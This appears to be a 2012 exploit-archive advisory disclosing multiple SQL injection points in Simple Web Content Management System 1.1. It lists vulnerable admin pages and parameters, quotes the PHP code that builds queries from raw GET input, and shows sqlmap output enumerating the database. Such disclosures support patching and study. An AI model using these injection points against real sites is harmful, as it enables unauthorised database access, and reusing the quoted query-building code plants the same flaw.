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Simple Web Content Management System 1.1 SQL Injection

Simple Web Content Management System 1.1 SQL Injection
Posted Jun 1, 2012
Authored by loneferret

Simple Web Content Management System version 1.1 suffers from multiple remote SQL injection vulnerabilities. Most of these issues were already priorly discovered in early 2011 by John Leitch for versions 1.21 and below.

tags | exploit, remote, web, vulnerability, sql injection
SHA-256 | 82966c3a58927288ab4557775bf16493908a7de8d6566a8d84e89069b47fae4f

Simple Web Content Management System 1.1 SQL Injection

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######################################################################################
# Exploit Title: Simple Web Content Management System SQL Injection
# Date: May 30th 2012
# Author: loneferret
# Version: 1.1
# Application Url: http://www.cms-center.com/
# Tested on: Ubuntu Server 8.04 / PHP Version 5.2.4-2ubuntu5.23
######################################################################################
# Discovered by: loneferret
######################################################################################

# Side note:
# This application is nothing fancy, and really shouldn't be used other than
# for practicing SQLi. Pretty much every page has at least one (1) vulnerable
# parameter.

# Vulnerability:
# Due to improper input sanitization, many parameters are prone to SQL injection.
# Most of them require to be authenticated with an account (admin).
# But there are a few pages that will cause an error without having to logon.


# PoC 1:
# No Authentication Required.
# Page: /admin/item_delete.php?id=[SQLi]
# Vulnerable Parameter: id
# Code:
15 $id = $_GET['id'];
16 $title = NULL;
17 $text = NULL;
18 database_connect();
19 $query = "select title,text from content where id = $id;";
20 //echo $query;
21 $result = mysql_query($query);

# As stated, nothing is checked before passing "id" to MySql.
# This results in a MySql error.



# PoC 2:
# No Authentication Required.
# Page: /admin/item_status.php?id=[SQLi]&status=1
# Page: /admin/item_status.php?id=1&status=[SQLi]
# Vulnerable Parameter: id & status
# Code:
10 $ref = $_GET['ref'];
11 $id = $_GET['id'];
12 $status = $_GET['status'];
13 $update = "UPDATE content
14 SET status='$status'
15 WHERE id='$id'";
16 $query = mysql_query($update)
or die("Their was a problem updating the status: ". mysql_error());

# As stated, nothing is checked before passing "id" and/or "status" to MySql.
# This results in a MySql error.



# PoC 3:
# Authentication Required.
# Page: /admin/item_detail.php?id=[SQLi]
# Vulnerable Parameter: id
# Code:
15 $id = $_GET['id'];
16 $title = NULL;
17 $text = NULL;
18 database_connect();
19 $query = "select title,text from content where id = $id;";
20 //echo $query;
21 $result = mysql_query($query);

# As stated, nothing is checked before passing "id" to MySql.
# This results in a MySql error.


# PoC 4:
# Authentication Required.
# Page: /admin/item_modify.php?id=[SQLi]
# Vulnerable Parameter: id
# Code:
60 database_connect();
61 if(isset($_GET['id'])) {
62 $id = ($_GET['id']);
63 }
64 $select = "SELECT *
65 FROM content
66 where id = '$id'";
67 $query = mysql_query($select);

# As stated, nothing is checked before passing "id" to MySql.
# This results in a MySql error.

# PoC 6:
# Authencitation Required.
# Page: /admin/item_position.php?id=[SQLi]&mode=up
# Vulnerable Parameter: id
.
...ok I think we get the idea now.
.
.
#
# Example output:
#
[19:40:22] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0
[19:40:22] [INFO] fetching tables for database: phpcms
[19:40:22] [INFO] heuristics detected web page charset 'ascii'
[19:40:22] [INFO] the SQL query used returns 1 entries
[19:40:22] [INFO] retrieved: content
Database: phpcms
[1 table]
+---------+
| content |
+---------+

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